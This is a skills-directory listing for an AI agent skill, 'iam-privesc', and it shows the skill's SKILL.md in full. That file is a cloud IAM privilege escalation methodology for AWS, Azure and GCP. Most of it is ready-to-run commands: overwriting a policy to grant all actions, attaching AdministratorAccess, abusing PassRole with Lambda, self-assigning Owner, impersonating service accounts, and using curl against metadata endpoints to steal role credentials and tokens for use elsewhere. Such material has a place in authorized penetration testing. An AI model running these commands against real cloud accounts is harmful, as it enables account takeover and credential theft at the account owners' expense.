Skip to content
Back to skills

Iam Privesc

ASecurity

Cloud IAM privilege escalation methodology for AWS, Azure, and GCP. Covers misconfigured roles, policy enumeration, assume-role chaining, and escalation to admin/root equivalent access.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentspythonrustgobashawsgcpazuregitapisecurity

Works with

  • api

Security analysis

A96/100
  • mediumUses curl or wget to download content

Pro shows the line behind each finding and how to fix it

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill iam-privesc --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Iam Privesc?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Iam Privesc
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-iam-privesc/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-iam-privesc)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: iam-privesc
description: Cloud IAM privilege escalation methodology for AWS, Azure, and GCP. Covers misconfigured roles, policy enumeration, assume-role chaining, and escalation to admin/root equivalent access.
version: 1.0.0
license: Apache-2.0
---

# Cloud IAM Privilege Escalation

## Attack Surface

IAM misconfigurations that allow escalation: overly permissive roles, writable policy attachments, unintended trust relationships, wildcard permissions, privilege escalation via service accounts, and Lambda/EC2 metadata credential exposure.

## Methodology — AWS

### Phase 1 — Enumerate current permissions

```bash
# Current identity
aws sts get-caller-identity

# Enumerate attached policies
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>
aws iam list-groups-for-user --user-name <username>

# Get policy document (find escalation vectors)
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Automated enumeration
python3 enumerate-iam.py --access-key <key> --secret-key <secret>
```

### Phase 2 — Key escalation vectors (AWS)

**iam:CreatePolicyVersion** (overwrite existing policy):
```bash
aws iam create-policy-version --policy-arn <arn> \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default
```

**iam:AttachUserPolicy** (attach AdministratorAccess):
```bash
aws iam attach-user-policy --user-name <username> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

**iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction:**
```bash
# Create Lambda with a high-privilege role and invoke it to escalate
aws lambda create-function --function-name priv-esc \
  --runtime python3.11 --role arn:aws:iam::ACCOUNT:role/HighPrivRole \
  --zip-file fileb://payload.zip --handler handler.main
aws lambda invoke --function-name priv-esc output.txt
```

**EC2 instance profile credential theft:**
```bash
# From EC2 instance: steal attached role credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole
# Use returned AccessKeyId, SecretAccessKey, Token externally
```

### Methodology — Azure

```bash
# Enumerate current role assignments
az role assignment list --all --include-inherited

# List available role definitions
az role definition list --query "[?roleType=='CustomRole']"

# Escalation: if Microsoft.Authorization/roleAssignments/write allowed
az role assignment create --assignee <principal-id> \
  --role "Owner" --scope /subscriptions/<sub-id>

# Managed identity abuse
az vm identity show --name <vm> --resource-group <rg>
# From inside the VM — steal managed identity token
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true
```

### Methodology — GCP

```bash
# Current identity and permissions
gcloud auth list
gcloud projects get-iam-policy <project-id>

# Service account impersonation (if iam.serviceAccounts.actAs allowed)
gcloud iam service-accounts generate-access-token <high-priv-sa@project.iam.gserviceaccount.com>

# Workload identity / metadata server credential theft
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"
```

## Tools

- [enumerate-iam](https://github.com/andresriancho/enumerate-iam) — AWS permission bruteforce
- [Pacu](https://github.com/RhinoSecurityLabs/pacu) — AWS attack framework
- [ScoutSuite](https://github.com/nccgroup/ScoutSuite) — multi-cloud auditing
- [CloudFox](https://github.com/BishopFox/cloudfox) — cloud privilege mapping
- [Prowler](https://github.com/prowler-cloud/prowler) — AWS/Azure/GCP security posture

## MITRE ATT&CK Mapping

- T1078.004 — Valid Accounts: Cloud Accounts
- T1548 — Abuse Elevation Control Mechanism
- T1552.005 — Unsecured Credentials: Cloud Instance Metadata API

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.